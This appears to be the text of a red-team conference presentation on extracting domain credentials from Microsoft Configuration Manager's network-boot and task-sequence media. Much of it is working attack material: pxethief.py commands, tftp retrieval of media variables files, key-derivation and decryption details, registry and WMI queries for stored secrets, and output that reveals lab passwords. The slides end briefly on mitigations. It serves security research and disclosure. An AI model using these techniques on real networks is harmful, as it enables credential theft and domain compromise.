Pulling Passwords out of Configuration Manager

Christopher Panayi
whoami

Christopher Panayi (@Raiona_ZA)
Doing research things @MWRCyberSec
Network Security/Red-teaming and AD Security
Once upon a client engagement...
Network Boot Password Screen
Once upon a client engagement...
<Identification>
  <Credentials>
    <Username>domainjoin</Username>
    <Domain>CONFIGMGR</Domain>
    <Password>DJPassword3#</Password>
  </Credentials>
  <JoinDomain>configmgr.com</JoinDomain>
</Identification>
Over the years...
The Target Decided
A bit of Background

Microsoft Endpoint
Configuration Manager
What kinds of creds can we access with this kind of attack?
1. Network Access Accounts

Specify an account that accesses network locations when the site contains clients that are workgroup computers or that are from an untrusted domain.

Network Access Account

Token based authentication provides a secure mechanism for content retrieval when a unique Active Directory identity cannot be used. The Network Access Account is still required in certain cases.

- Use the computer account of the Configuration Manager client
- Specify the account that accesses network locations

Name
CONFIGMGR\NAAUser
Task Sequences
2. Credentials in Task Sequences
### Collections

#### Device Collections

<table>
<thead>
<tr>
<th>Icon</th>
<th>Name</th>
<th>Limiting Collection</th>
<th>Member Count</th>
<th>Members Visible on Site</th>
<th>Referenced Collections</th>
</tr>
</thead>
<tbody>
<tr>
<td>![Icon]</td>
<td>All Desktop and Server Clients</td>
<td>All Systems</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>![Icon]</td>
<td>All Mobile Devices</td>
<td>All Systems</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>![Icon]</td>
<td>All Provisioning Devices</td>
<td>All Systems</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>![Icon]</td>
<td>All Systems</td>
<td>All Systems</td>
<td>2</td>
<td>2</td>
<td>0</td>
</tr>
<tr>
<td>![Icon]</td>
<td>Co-management Eligible Devices</td>
<td>All Systems</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

### All Unknown Computers

**Summary**

- Name: All Unknown Computers
- Collection ID: SMS000US
- Update Time: 7/27/2022 5:13 PM
- Member Count: 2
- Members Visible on Site: 2
- Referenced Collections: 0
- Comment: All Unknown Computers

**Summary**

<table>
<thead>
<tr>
<th>Summary</th>
<th>Deployments</th>
<th>Custom Client Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ready</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
3. Collection Variables

Specify custom task sequence variables with associated values that you want computers to use in this collection. Task sequence variables include sets of names and value pairs that supply configuration and operating system deployment settings for a device, operating system, and user state configuration tasks on a Configuration Manager client computer. You can use task sequence variables to configure and customize the steps in a task sequence.

**Variables:**

- Name: Password
- Value: ******
- Name: Username
- Value: ******
Some Terminology
## Terminology

<table>
<thead>
<tr>
<th>Downloaded by Clients</th>
<th>MECM Server Roles</th>
</tr>
</thead>
<tbody>
<tr>
<td>Content</td>
<td>Distribution Points</td>
</tr>
<tr>
<td>Policies</td>
<td>Management Points</td>
</tr>
</tbody>
</table>
How does network boot in ConfigMgr work?
Operating System Deployment (OSD)

- Made up of an operating system image and a task sequence that contains instructions that need to be applied to it
- A couple of ways to kick this off:

  - PXE-Initiated Deployment
  - Media Deployment

  Network Boot = Preboot eXecution Environment (PXE) Boot
The Moving Parts

Network Boot (PXE) Client

1. DHCP
2. TFTP

Distribution Point
Network Boot Password Screen
The Moving Parts

Network > mp.configmgr.com > REMINST > SMSTemp

2022.08.01.05.4 9.05.0001.{E2C ...B7D}.boot.var

2022.08.01.05.4 9.05.0001.{E2C ...B7D}.boot.bcd
Network Boot Password Screen

This media is password protected. Enter a password and click Next to continue.

Password: [Blank]
Attacking Password Protected ConfigMgr OSD
Attacking PXE-Initiated OSD

**Step 1**
Retrieve encrypted media variables file

**Step 2**

**Step 3**
Crack encrypted media file
Harvest domain passwords
PS C:\POC> python.exe .\pxethief.py 1
Finding the Distribution Point

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>10794</td>
<td>3611.537490</td>
<td>0.0.0.0</td>
<td>255.255.255.255</td>
<td>DHCP</td>
<td>293</td>
<td>DHCP Discover - Transaction ID 0x0</td>
</tr>
<tr>
<td>10795</td>
<td>3611.537973</td>
<td>192.168.56.200</td>
<td>255.255.255.255</td>
<td>DHCP</td>
<td>364</td>
<td>DHCP Offer - Transaction ID 0x0</td>
</tr>
</tbody>
</table>

Server host name not given

Boot file name: SMSBoot\x86\wdsnbp.com

Magic cookie: DHCP

- Option: (53) DHCP Message Type (Offer)
- Option: (1) Subnet Mask (255.255.255.0)
- Option: (58) Renewal Time Value
- Option: (59) Rebinding Time Value
- Option: (51) IP Address Lease Time
- Option: (54) DHCP Server Identifier (192.168.56.200)
- Option: (6) Domain Name Server

- Option: (66) TFTP Server Name
  
  Length: 15
  
  TFTP Server Name: 192.168.56.201

- Option: (67) Bootfile name
  
  Length: 23
  
  Bootfile name: SMSBoot\x86\wdsnbp.com

- Option: (255) End

```
0140 c8 42 0f 31 39 32 2e 31 36 3e 32 35 36 32 32 30
0150 31 00 43 17 53 4d 53 42 6f 6f 74 5c 78 38 36 5c
0160 77 64 73 6e 62 70 2e 63 6f 6d 00 ff
```
Client IP address: 192.168.56.150
Your (client) IP address: 0.0.0.0
Next server IP address: 192.168.56.101
Relay agent IP address: 0.0.0.0
Client MAC address: VMware_6e:ca:b5 (00:0c:29:6e:ca:b5)
Client hardware address padding: 0000000000000000
Server host name not given
Boot file name: smsboot\JHB00003\x64\pxeboot.com
Magic cookie: DHCP

> Option: (53) DHCP Message Type (ACK)
> Option: (54) DHCP Server Identifier (192.168.56.101)
> Option: (97) UUID/GUID-based Client Identifier
> Option: (60) Vendor class identifier
> Option: (243) Private
  Length: 32
    Value: 02000116534d53546656d705c303030303030303037382e76...
> Option: (252) Private/Proxy autodiscovery
> Option: (255) End
  Option End: 255
Attacking PXE-Initiated OSD

Step 1: Retrieve encrypted media variables file

Step 2: Crack encrypted media file

Step 3: Harvest domain passwords
PS C:\hashcat-v6> python.exe C:\POC\pxthief.py 5 "C:\POC\2022.07.31.17.00.31.0001.{BD4E945E-A44E-4CA2-8785-780D031622E1}.boot.var"
Decrypting the Media Variables File
CryptCreateHash
BOOL CryptCreateHash(
    [in]  HCRYPTPROV   hProv,
    [in]  ALG_ID       AlgId,
    [in]  HCRYPTKEY   hKey,
    [in]  DWORD        dwFlags,
    [out] HCRYPTHASH  *phHash
);

Parameters

[in] hProv

A handle to a CSP created by a call to CryptAcquireContext.

[in] AlgId

An ALG_ID value that identifies the hash algorithm to use.

Valid values for this parameter vary, depending on the CSP that is used. For a list of default algorithms, see Remarks.
CryptCreateHash

**CALG_SHA**
- SHA hashing algorithm. This algorithm is supported by the Microsoft Base Cryptographic Provider.

**CALG_SHA1**
- 0x00008004 Same as CALG_SHA. This algorithm is supported by the Microsoft Base Cryptographic Provider.

An **ALG_ID** value that identifies the hash algorithm to use.

Valid values for this parameter vary, depending on the CSP that is used. For a list of default algorithms, see Remarks.
CryptCreateHash  
CryptHashData  
CryptDeriveKey
The ALG_ID data type specifies an algorithm identifier. Parameters of this data type are passed to most of the functions in CryptoAPI.

C++

typedef unsigned int ALG_ID;

The following table lists the algorithm identifiers that are currently defined. Authors of custom cryptographic service providers (CSPs) can define new values. Also, the ALG_ID used by custom CSPs for the key specifications AT_KEYEXCHANGE and AT_SIGNATURE are provider dependent. Current mappings follow the table.

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CALG_3DES</td>
<td>0x000006603</td>
<td>Triple DES encryption algorithm.</td>
</tr>
<tr>
<td>CALG_3DES_112</td>
<td>0x000006609</td>
<td>Two-key triple DES encryption with effective key length equal to 112 bits.</td>
</tr>
<tr>
<td>CALG_AES</td>
<td>0x000006611</td>
<td>Advanced Encryption Standard (AES). This algorithm is supported by the Microsoft AES Cryptographic Provider.</td>
</tr>
<tr>
<td>CALG_AES_128</td>
<td>0x000006617</td>
<td>128 bit AES. This algorithm is supported by the Microsoft AES Cryptographic Provider.</td>
</tr>
</tbody>
</table>
Let \( n \) be the required derived key length, in bytes. The derived key is the first \( n \) bytes of the hash value after the hash computation has been completed by \texttt{CryptDeriveKey}. If the hash is not a member of the SHA-2 family and the required key is for either 3DES or AES, the key is derived as follows:

1. Form a 64-byte buffer by repeating the constant \( 0x36 \) 64 times. Let \( k \) be the length of the hash value that is represented by the input parameter \( hBaseData \). Set the first \( k \) bytes of the buffer to the result of an XOR operation of the first \( k \) bytes of the buffer with the hash value that is represented by the input parameter \( hBaseData \).

2. Form a 64-byte buffer by repeating the constant \( 0x5C \) 64 times. Set the first \( k \) bytes of the buffer to the result of an XOR operation of the first \( k \) bytes of the buffer with the hash value that is represented by the input parameter \( hBaseData \).

3. Hash the result of step 1 by using the same hash algorithm as that used to compute the hash value that is represented by the \( hBaseData \) parameter.

4. Hash the result of step 2 by using the same hash algorithm as that used to compute the hash value that is represented by the \( hBaseData \) parameter.

5. Concatenate the result of step 3 with the result of step 4.

6. Use the first \( n \) bytes of the result of step 5 as the derived key.
Media Variables

```xml
<MediaVarList Version="5.00.9078.1000">
  <var name="SMSTSMPP" \>http://MP.configmgr.com</var>
  <var name="_SMSMediaGuid">8eb7796d-0c6-479e-a34c-cd6867e97e93</var>
  <var name="_SMSTSSBootMediaPackageID">CM100002</var>
  <var name="_SMSTSHHTTPPort">80</var>
  <var name="_SMSTSHHTTPSPort">443</var>
  <var name="_SMSTSSISSLState">0</var>
  <var name="_SMSTSLaunchMode">PXE</var>
  <var name="_SMSTSSMediaPFX">308206E6020103308206A206092A864886F70D010701A08206930482068F30</var>
  <var name="_SMSTSPublicRootKey">0862000000A4000052534131008000001000100115847D798CA5AA68</var>
  <var name="_SMSTSSSiteCode">CM1</var>
  <var name="_SMSTSSSiteSigningCertificate">308202ED308201D5A00302010202107075826AAD9A429540</var>
  <var name="_SMSTSSUseFirstCert">1</var>
  <var name="_SMSTSSx64UnknownMachineGUID">44c3fbd8-9839-4458-9edc-8d54980ad734</var>
  <var name="_SMSTSSx86UnknownMachineGUID">7e548aad-4f34-4437-9925-54016909891c</var>
</MediaVarList>
```
Understanding ConfigMgr Client Communications
Network Boot Password Screen – TSMBootstrap.exe
<xml version="1.0">
  <ReplyAssignments ReplyType="Full" SchemaVersion="1.00">
    <Identification>
      <ClientID>7e548aad-4f34-4437-9925-54016909891c</ClientID>
      <NetBIOSName/>
      <FQDN/>
      <SID/>
    </Identification>
    <Machine/>
  </ReplyAssignments>
</xml>
Attacking PXE-Initiated OSD

Step 1: Retrieve encrypted media variables file

Step 2: Crack encrypted media file

Step 3: Harvest domain passwords
asking server for assignments

download and decrypt sensitive policies

analyze policy xml and grab passwords

+ finding and downloading encrypted media file from mecm server...
+ attempting to use interface id 12 provided in settings.ini
+ using interface: \device\npf-{5e3a6441-885f-470a-9772-9033ce4b69ce} - intel(r) dual band wireless-ac 3168
+ discovering pxe server through dhcp...

sending initial dhcp discover to find pxe boot server...

begin emission:

finished sending 1 packets.

* received 2 packets, got 1 answers, remaining 0 packets

pxe server ip: 192.168.56.201 boot file location: smsboot\x86\wdsnbp.com

+ pxe server found from dhcp at 192.168.56.201!

+ asking configmgr for location to download the media variables and bcd files...

begin emission:

finished sending 1 packets.

* received 2 packets, got 1 answers, remaining 0 packets

+ variables file location: \smstemp\2022.07.31.17.00.31.0001.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.var
+ bcd file location: \smstemp\2022.07.31.17.00.31.07.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.bcd

+ use this command to grab the files:
tftp -i 192.168.56.201 get "\smstemp\2022.07.31.17.00.31.0001.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.var" "2022.07.31.17.00.31.0001.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.var"
tftp -i 192.168.56.201 get "\smstemp\2022.07.31.17.00.31.07.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.bcd" "2022.07.31.17.00.31.07.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.bcd"

c:\ poc> tftp -i 192.168.56.201 get "\smstemp\2022.07.31.17.00.31.0001.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.var" "2022.07.31.17.00.31.0001.{bd4e945e-a44e-4ca2-87b5-780d031622e1}.boot.var"
transfer successful: 12776 bytes in 1 second(s), 12776 bytes/s

c:\ poc> python.exe
## Authenticating the Client/Generating Signatures

<table>
<thead>
<tr>
<th>Field</th>
<th>Signed Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CCMClientID</td>
<td>CCMClientIDSignature</td>
<td>This is the GUID of the ConfigMgr client. For OSD clients, this is obtained from the _SMSMediaGuid media variable.</td>
</tr>
<tr>
<td>CCMClientTimestamp</td>
<td>CCMClientTimestampSignature</td>
<td>The time in ISO 8601 format</td>
</tr>
<tr>
<td>ClientToken</td>
<td>ClientTokenSignature</td>
<td>&quot;ClientToken:’ = CCMClientID + ‘;’ + CCMClientTimestamp&quot;</td>
</tr>
</tbody>
</table>

Signatures are SHA1 or SHA256 and are generated using `CryptSignHash` from CryptoAPI using the \_SMSTSMediaPFX certificate.
Encrypted policies can be decrypted using `CryptDecryptMessage` from CryptoAPI using the `__SMSTSMediaPFX` certificate.
Obfuscated strings in ConfigMgr Policies can be identified by the 4 header bytes \textbf{0x89130000} and are encrypted using \textbf{3DES} with a key in the same XML field. The key starts at byte 5 and is 40 bytes long, while the encrypted data begins at byte 65 to the end of the XML field.
<xml version="1.0"?>
  <sequence version="3.10">
    <referenceList>
      <reference package="CM100005"/>
      <reference package="CM100003"/>
    </referenceList>
    <globalVarList>
      <variable property="EnableTCP/IPFiltering" name="OSDEnableTCP/IPFiltering">false</variable>
      <variable property="NumAdapters" name="OSDAdapterCount"="0"></variable>
    </globalVarList>
    <group name="Install Operating System" description="Actions to run in Windows PE to install and configure the image">
      <step name="Restart in Windows PE" description="" runFromNet="false" retryCount="0" successCodeList="0" runIn="WinPEandFullOS" type="SMS_TaskSequence_RebootAction">
        <step name="Partition Disk 0 - BIOS" description="This action partitions and formats the disk for new deployments of BIOS-based computers. This step will not run for Unified Extensible Firmware Interface (UEFI)-based computers. This step will not run for BIOS-based computers." runFromNet="false" retryCount="0" successCodeList="0" runIn="WinPE" type="SMS_TaskSequence_PartitionDiskAction"/>
        <step name="Apply Operating System" description="Actions to apply operating system" runFromNet="false" retryCount="0" successCodeList="0" runIn="WinPE" type="SMS_TaskSequence_ApplyOperatingSystemAction">
          <step name="Apply Network Settings" description="Actions to configure network settings" runFromNet="false" retryCount="0" successCodeList="0" runIn="WinPE" type="SMS_TaskSequence_ApplyNetworkSettingsAction">
            <variable property="DomainName" name="OSDDomainName" configmgr.com></variable>
            <variable property="DomainPassword" name="OSDJoinPassword" DJPassword3#></variable>
            <variable property="DomainUsername" name="OSDJoinAccount" CONFIGMGR\domainjoin></variable>
            <variable property="EnableTCP/IPFiltering" name="OSDEnableTCP/IPFiltering" hidden="true">false</variable>
            <variable property="NetworkJoinType" name="OSDNetworkJoinType">0</variable>
            <variable property="NumAdapters" name="OSDAdapterCount" hidden="true">0</variable>
          </step>
        </step>
      </step>
      <step name="Apply Windows Settings" description="Actions to apply Windows settings" runFromNet="false" retryCount="0" successCodeList="0" runIn="WinPE" type="SMS_TaskSequence_ApplyWindowsSettingsAction">
        <action>osdnetsettings.exe configure</action>
        <defaultVarList>
          <variable property="DomainName" name="OSDDomainName">configmgr.com</variable>
          <variable property="DomainPassword" name="OSDJoinPassword">DJPassword3#</variable>
          <variable property="DomainUsername" name="OSDJoinAccount">CONFIGMGR\domainjoin</variable>
          <variable property="EnableTCP/IPFiltering" name="OSDEnableTCP/IPFiltering" hidden="true">false</variable>
          <variable property="NetworkJoinType" name="OSDNetworkJoinType">0</variable>
          <variable property="NumAdapters" name="OSDAdapterCount" hidden="true">0</variable>
        </defaultVarList>
      </step>
    </group>
  </sequence>
Attacking Passwordless ConfigMgr OSD
PXE Setup

Enable PXE support for clients
- Windows Deployment Services will be installed if required
- Allow this distribution point to respond to incoming PXE requests
- Enable unknown computer support
- Enable a PXE responder without Windows Deployment Service

Require a password when computers use PXE
- Password:
- Confirm password:

User device affinity:
- Do not use user device affinity

Network interfaces
- Respond to PXE requests on all network interfaces
- Respond to PXE requests on specific network interfaces
“This media is not password protected”
PS C:\POC> python.exe C:\POC\pxethief.py 1
Where does the key come from?

Bootp flags: 0x0000 (Unicast)
  Client IP address: 192.168.56.150
  Your (client) IP address: 0.0.0.0
  Next server IP address: 192.168.56.101
  Relay agent IP address: 0.0.0.0
  Client MAC address: VMware_6e:ca:b5 (00:0c:29:e:ca:b5)
  Client hardware address padding: 0000000000000000
  Server host name not given
  Boot file name: smsboot\JHB00003\x64\pxeboot.com
  Magic cookie: DHCP

Option: (53) DHCP Message Type (ACK)

Option: (54) DHCP Server Identifier (192.168.56.101)

Option: (97) UUID/GUID-based Client Identifier

Option: (60) Vendor class identifier

Option: (243) Private
  Length: 101
  Value: 024530140000000a000000100000000e660000000000004b...

Option: (252) Private/Proxy autodiscovery

Option: (255) End
But There Is More Obfuscation...

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Code</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0018011028</td>
<td>9f</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011029</td>
<td>67</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102a</td>
<td>9c</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102b</td>
<td>9b</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102c</td>
<td>37</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102d</td>
<td>3a</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102e</td>
<td>1f</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>001801102f</td>
<td>48</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011030</td>
<td>82</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011031</td>
<td>4f</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011032</td>
<td>37</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011033</td>
<td>87</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011034</td>
<td>33</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011035</td>
<td>de</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011036</td>
<td>24</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>0018011037</td>
<td>e9</td>
<td>?</td>
<td>?</td>
</tr>
</tbody>
</table>
Attacking ConfigMgr
TS Media
Create Task Sequence Media Wizard

Select Media Type

Select the type of media

- **Stand-alone media**
  Creates media used to deploy operating systems without network access.

- **Bootable media**
  Creates media used to deploy operating systems using ConfigMgr infrastructure.

- **Capture media**
  Creates media used to capture an operating system deployment image from a reference computer.

- **Prestaged media**
  Creates a file to be prestaged on a new hard drive that includes an operating system image.

Select this checkbox to enable unattended operating system deployment. An unattended operating system deployment does not prompt for network configuration or optional task sequences.

- **Allow unattended operating system deployment**
Prestaged media

Bootable media

Stand-alone media
PS C:\POC> python.exe ./pxethief.py 4 ./Variables.dat ./Policy.xml a

pxethief

[+] Attempting to decrypt encrypted Media File and Policy from full TS media...
[+] Media variables file to decrypt: ./Variables.dat
[+] Password provided: a
[+] Successfully Decrypted Policy ".\Policy.xml"
[+] Successfully Decrypted TS.Sequence XML Blob in Task Sequence 'inst-JHB0000D'
[+] Attempting to automatically identify credentials in Task Sequence 'inst-JHB0000D':

[!] Possible credential fields found!

In TS Step "Connect to Network Folder":
SMSSConnectNetworkFolderAccount - CM19\lowpriv
SMSSConnectNetworkFolderPassword - Password1!

In TS Step "Apply Windows Settings":
OSDRegisteredUserName - Administrator
OSDRandomAdminPassword - true

In TS Step "Run Command Line":
SMSTSRunCommandLineUserName - CM19\lowpriv
SMSTSRunCommandLineUserPassword - Password2!

[+] Extracting password from Decrypted Network Access Account Configuration
[!] Network Access Account Username: 'CM19\cmnnaa'
[!] Network Access Account Password: 'Password1!'
Specify a password to protect task sequence media.

- Protect media with a password

Password: 
Confirm password: 

Select date range for this stand-alone media to be valid

Set start date: 8/1/2022 9:00 AM
Set expiration date: 8/1/2023 9:00 AM
[+] Attempting to decrypt encrypted media variables file and policy from stand-alone media...
[-] User did not supply password. Making use of default MECM media password
[-] Media variables file to decrypt: \Variables-no-pw.dat
[-] Password provided: {BAC8E688-DE21-4ABE-B7FB-C9F54E6DB664}
[-] Successfully decrypted media variables file with the provided password!
[-] Password provided for policy decryption: E8753CD9-696E-4C76-AA77-3B060897B40
[-] Successfully Decrypted Policy \Policy-no-pw.xml
[-] Successfully Decrypted TS.Sequence.XML Blob in Task Sequence 'bot'!
[-] Attempting to automatically identify credentials in Task Sequence 'bot':

[!] Possible credential fields found!
In TS Step "Join Domain or Workgroup":
OSDJoinAccount - CM19\Administrator
OSDJoinPassword - Password!
In TS Step "Apply Windows Settings":
OSDRegisteredUserName - administrator
OSDLocalAdminPassword - Password!
In TS Step "Apply Network Settings":
OSDJoinAccount - CM19\cmnaa
OSDJoinPassword - Password!
In TS Step "Join Workgroup":
OSDJoinPassword - aaaaa
In TS Step "Capture the Reference Machine":
OSDCaptureAccount - CM19\cmnaa
OSDCaptureAccountPassword - Password!
[+] Extracting password from Decrypted Network Access Account Configuration
[!] Network Access Account Username: 'CM19\cmnaa'
[!] Network Access Account Password: 'Password!'
What do You Get From the Different Types of Media?

<table>
<thead>
<tr>
<th>Bootable Media</th>
<th>Stand-alone media</th>
<th>Prestaged Media</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client Certificate</td>
<td>Policy XML</td>
<td>Client Certificate</td>
</tr>
</tbody>
</table>
Typical Attack Techniques Against OSD

Without credentials:

• On a LAN, ask for DHCP options 66 and 67 to find location of potential DPs, prompt for media variables files and attempt to crack

With low-priv credentials:

• Find media files (.wim or .iso) on file shares (Especially ConfigMgr servers) and attempt to crack

• Auth to REMINST share on each DP and browse SMSTemp for existing var files and try to crack them
Post-exploitation potential
Post-Exploitation – Registry keys on DP

```powershell
PS C:\Users\Administrator> reg query \\sccm.cm19.com\HKLM\software\Microsoft\SMS\DP /v IdentityGUID

HKEY_LOCAL_MACHINE\software\Microsoft\SMS\DP
   IdentityGUID REG_SZ	{7966B78D-0FB4-4CCA-9ADD-BB4DEB7789CE}

PS C:\Users\Administrator> reg query \\sccm.cm19.com\HKLM\software\Microsoft\SMS\DP\identity /v IdentityCert

HKEY_LOCAL_MACHINE\software\Microsoft\SMS\DP\identity
   IdentityCert REG_SZ	3082073E020103006206FA06092A864886F70D010701A08206EB04206E7308206E33082038C06092A864886F7
   0D010701A082037D0482037930820371060B2A864886F70D010C0A0102A08202B6308202B3231C060A2A864886F70D010C08303E04085B
   E4823A1EE61102820207D04820290634870505048B2F653CEEF38355D2F0CADC1FF749D8D23EC85994CE14EC04C85C10979412020E052843835BCB
   EB288C09519496EE74352B4F0E2A2D98F9068BA0A849F938F3ED6870E84FF70DE641EBEB3659310A7C0EB3C9E71DDA2749961AE435C4477BE1A48
   0EAA9C2165C11A59AEB88318C65415B73A6C88D20585D6E99DA2452BA64D3A4FF7AF9B577E7B5759BD0DA18B84BF98F80842187E6566E41C10
   BA207A7385FCD252F97BB85D1437674AF3B4A1643B3DADED2CAAC5B619F0D3CDE3114EF822667FC6A43BF3272343AB01CA6E723C83EB99E83DA
   9486D4483F28B74283E444FC11530696320C0DBF42C92BC7F9E097C223594E0D16A1ECD17A5A05F13B25E34B2ED3E0507DF2200022009FE77E9C72
   B17F1F76BD1224F6854F5556BF49D59F68AC3EFC7C8EB63EEACB2E60A5C9C69CBB4639D98493F6BS6CA89AE22D78CDB29F18A05C546336BA1304
   136DBEA82DD08F2E1C9D9A0AFF16679668A387C8BF7295B53CA3312162131001F8DE4FD2499782FA5C622539F3AC1558A5DAEAB31A85BF767488
   759931E84DC88F662F23B82C0CE595A908E6791F419EAD94F4CE1AFAF07DE4FA2F54C2F7814DACA9CB37AC64B134344CE7DFE52C801BE000F55B5D
   37020F27E6905F39645BA17FE999C90A7778F308190BF32605FC8043086ECA098E7D5EB02FC365954C28EB63B3B0C1A91B5AC4E8AFF2F72D4ABCA1
   BE2936F798F2780A37F094ED2FB8A198CD6A2E533E9D0C737659AB3E94DDB5ABA6633B8837A5E6E29FE365FAE0A52BEBE29AB1C2165D273AE
   4E95580425BD41D9C659002A4FD576AE1B13906C7EFF3030229E9A5ECE62B9FDDA1C672F5FBC1728ACC13C6E2F7D2568CF230A0F3E570582566081BE
   D853B810FBEE55DB05EB7733181A730136092A864886F70D0109153108044010000000301956092A864886F70D01091431B3E106950304DD0553879
```
Post-Exploitation – Registry Keys on DP

PS C:\Users\Administrator> reg query \sccm.cm19.com\HKLM\software\Microsoft\SMS\DP\identity /v Reserved1

HKEY_LOCAL_MACHINE\software\Microsoft\SMS\DP\identity
    Reserved1 REG_SZ  89130000002DCCB75F094A977782DCFFB9B22A84683DE4F49421BC857B6B492FF40F6189AB2BB4C2C5BA51F7614000018000000036600000000000E31A0BC8218BCC83277D7D196A91BB8BB082C448CF33663D00000000

PS C:\Users\User\Desktop\POC\POC> python.exe .\pxethief.py 7 89130000002DCCB75F094A977782DCFFB9B22A84683DE4F49421BC857B6B492FF40F6189AB2BB4C2C5BA51F76140000001400000018000000036600000000000E31A0BC8218BCC83277D7D196A91BB8BB082C448CF33663D00000000

[+] Decrypt stored PXE password from SCCM DP registry key Reserved1
Password1
Credentials on endpoints?
Network Access Account on Endpoints

PS C:\Users\Administrator> Get-WmiObject -Namespace "root\ccm\Policy\Machine\ActualConfig" -Class "CCM_NetworkAccessAccount"

__GENUS__ : 2
__CLASS__  : CCM_NetworkAccessAccount
__SUPERCLASS__ : CCM_ComponentClientConfig
__DYNASTY__ : CCM_Policy
__RELSPATH__ : CCM_NetworkAccessAccount.SiteSettingsKey=1
__PROPERTY_COUNT__ : 8
__DERIVATION__ : {CCM_ComponentClientConfig, CCM_Policy}
__SERVER__ : DC
__NAMESPACE__ : ROOT\ccm\Policy\Machine\ActualConfig
__PATH__ : \DC\ROOT\ccm\Policy\Machine\ActualConfig\ActualConfig:CCM_NetworkAccessAccount.SiteSettingsKey=1
ComponentName : 
Enabled : 
NetworkAccessPassword : <![CDATA[[F600000001000000D8C9DFF0115D1118C7A0C04FC297EB0100000345023558D78C41B2917D5DCE5626E00000000200000001066000001000200000031D61E717DE5F0878A998F139B8799B34AA4A4AF4D78BF4E4518A658DF17C4600000000E80000000020002000000058B34F26400E588BEF1890136FDB1C46E51932A7767BC907D39762283A005200000068B8F228DC122BF2D261F80E2993061E36D62BC922695F6FF3BC5C6476B8C7400000C0BEC973B6E528C31B26A1C35AAE2D43DB88FD327F9C571404EA21A4426E5ABDA1CBBA82545888A1F9EF02BC1BE3D61D716EFE334A24E838876BC3C685843]]></PolicySecret>
NetworkAccessUsername : <![CDATA[[F600000001000000D8C9DFF0115D1118C7A0C04FC297EB0100000345023558D78C41B2917D5DCE5626E00000000200000001066000001000200000031D61E717DE5F0878A998F139B8799B34AA4A4AF4D78BF4E4518A658DF17C4600000000E80000000020002000000058B34F26400E588BEF1890136FDB1C46E51932A7767BC907D39762283A005200000068B8F228DC122BF2D261F80E2993061E36D62BC922695F6FF3BC5C6476B8C7400000C0BEC973B6E528C31B26A1C35AAE2D43DB88FD327F9C571404EA21A4426E5ABDA1CBBA82545888A1F9EF02BC1BE3D61D716EFE334A24E838876BC3C685843]]></PolicySecret>
Network Access Account on Endpoints

I was told you like SCCM passwords & #mimikatz 😊

Did you know SCCM "endpoints" can keep credentials of all your Network Access Accounts?

Time to try the new dpapi::sccm command and to check privileges associated to them 😊

> github.com/gentilkiwi/mim...
Network Access Account on Endpoints

Adam Chester - @_xpn_
Collection Variables on Endpoints

PS C:\Users\Administrator> Get-WmiObject -Namespace "root\ccm\Policy\Machine\ActualConfig" -Class "CCM_CollectionVariable"

__GENUS : 2
__CLASS : CCM_CollectionVariable
__SUPERCLASS : CCM_Policy
__DYNASTY : CCM_Policy
__RELPATH : CCM_CollectionVariable.Name="TestVariable"
__PROPERTY_COUNT : 2
__DERIVATION : {CCM_Policy}
__SERVER : DC
__NAMESPACE : ROOT\ccm\Policy\Machine\ActualConfig
__PATH : \DC\ROOT\ccm\Policy\Machine\ActualConfig:CCM_CollectionVariable.Name="TestVariable"
Name : TestVariable
Value : <PolicySecret Version="1"><![CDATA[F6000000100000008C9DF0115D1118C7A00C04FC297EB01000000A258BEE4
4A7984393E018C2FC21DA7C800000000200800000010000008000000001666000001000020000008DC8CB37D91B36AF45FC19C61646E79
597C274D993976DA8B830EC8012F9C50000000000E800000002000020000000098C206FA03DFA0325F2228F8CA3C525A3056
573F57FAE799999CF3DD8285B200000006AA32659198D0A867D8FC4EAF0067B42FE3B3A7DABD625F212249661BAB924
00000084CC088FEA949C44880C781B4337C1292D66D9AA10EF2E4EBC71A41043D516F34014D1EEF26FD2FCDDE22EDF4023
7215B45262CE88F52787FF3E8ED4507CCAD]]></PolicySecret>
PSComputerName : DC
Task Sequences on Endpoints

PS C:\Users\Administrator> (Get-Wmiobject -Namespace "root\ccm\Policy\Machine\ActualConfig" -Class "CCM_TaskSequence").TSSequence
How do we make things better?
Key Issues

Overly Permissioned Accounts
Fixing Account Permissions

Network access account

